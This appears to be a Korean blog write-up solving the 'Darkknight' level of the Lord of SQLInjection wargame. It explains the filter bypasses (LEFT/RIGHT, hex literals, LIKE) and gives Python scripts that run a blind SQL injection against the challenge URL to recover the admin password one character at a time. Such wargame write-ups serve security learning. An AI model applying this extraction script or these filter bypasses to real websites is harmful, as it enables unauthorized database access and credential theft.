[Lord of SQLInjection] Darkknight Write UP
작성자 - LRTK
이번에도 전 문제와 유사한 문제가 왔다. 하지만 필터링되는 부분이 다른 것을 확인할 수 있다.
이 문제에선 파라미터로 pw와 no를 서버로 전달한다.
서버에선 pw와 no에 대한 검사를 후 쿼리문에 삽입한다.
이때 검사는 pw의 경우 prob, _, ., (), '
를 필터링하며, addslashes 함수를 이용하여 특정 특수 문자를 사용 못하게 치환한다.
no의 경우 ', SUBSTR, ASCII, =
를 필터링한다.
공격 백터는 pw와 no가 있는데 pw의 경우 ''
으로 감싸져 있어서 공격을 시도했을 때 '
를 사용해야지만 가능할 거 같다. 하지만 pw의 필터링 목록 중 '
이 있어서 pw의 경우 공격 백터로 사용을 못할 것으로 판단되었다.
남은 건 no 파라미터인데 no의 경우 감싸진 것이 없어서 HEX와 내장함수를 사용할 수 있어서 공격에 적합한 공격 백터로 생각하였다.
no 필터링 목록을 보면, ', SUBSTR, ASCII, =
이 있는데 이들은 %09', LEFT() or RIGHT(), 0x61646D696E, LIKE
로 우회가 된다.
일단 LENGTH 함수를 이용하여 admin의 pw 길이를 알아내도록 하겠다.
admin의 pw 길이는 8자리인 것으로 알아냈다.
파이썬으로 pw를 구해보겠다.
import requests, string, itertools
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Cookie': 'PHPSESSID=489p7t125lkii058qpfa811lbv'}
def pwParser():
result = ''
for num in range(1, 8+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
print(s)
parameter = f"?no=-1 or LEFT(pw, {num}) LIKE {hex(ord(result + s))}"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print(result)
pwParser()
이전 문제인 Golem 문제 풀이에 사용하였던 python 코드를 수정하여 pw 파싱을 시도하였지만 예상치 못한 Error가 발생하였다.
파이썬의 내장함수인 ord 함수는 문자를 아스키코드의 10진수로 변경해주는 함수이다.
여기서 문제는 단 문자열이 아닌 문자를 인자값으로 받는다는 것이다.
a = '123456'
LEFT(a, 1) -> '1'
LEFT(a, 2) -> '12'
LEFT(a, 3) -> '123'
나는 공격 쿼리를 LEFT 함수의 두번째 인자값을 점차 증가시켜서 비교하는 쿼리로 공격을 시도하였는데, ord 함수의 제어 상 변경해줘야 한다.
a = '123456'
RIGHT(LEFT(a, 1), 1) -> '1'
RIGHT(LEFT(a, 1), 2) -> '2'
RIGHT(LEFT(a, 1), 3) -> '3'
변경 방법은 LETF 함수와 RIGHT 함수를 같이 사용하는 것이다.
import requests, string, itertools
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Cookie': 'PHPSESSID=489p7t125lkii058qpfa811lbv'}
def pwParser():
result = ''
for num in range(1, 8+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
if num == 8:
print(s)
parameter = f"?no=-1 or RIGHT(LEFT(pw, {num}), 1) LIKE {hex(ord(s))}"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print(result)
pwParser()
이상하게 8번째 값이 출력이 안되었다.
값을 넣어봤지만 아무 반응도 없어서 뭔가 이상함을 느낄 수 있었다.
그래서 직접 8번째 자리를 찾아보니, f (0x66)
인 것을 알 수 있었다. Guest의 pw 8번째 값도 f
이라서 Hello guest가 뜬 것으로 판단이 되었다.
그래서 8번째 자리를 f
를 넣어서 서버로 보내니, 문제를 풀리는 것을 확인할 수 있었다.
'Season 1 > 워게임' 카테고리의 다른 글
[HackCTF] Web - / 풀이 (0) | 2021.07.20 |
---|---|
[Lord of SQLInjection] Bugbear Write UP (0) | 2021.07.20 |
[websec.fr] babysteps - Level 04 (0) | 2021.07.18 |
[Lord of SQLInjection] Golem Write UP (0) | 2021.07.18 |
[Lord of SQLInjection] Skeleton Write UP (0) | 2021.07.18 |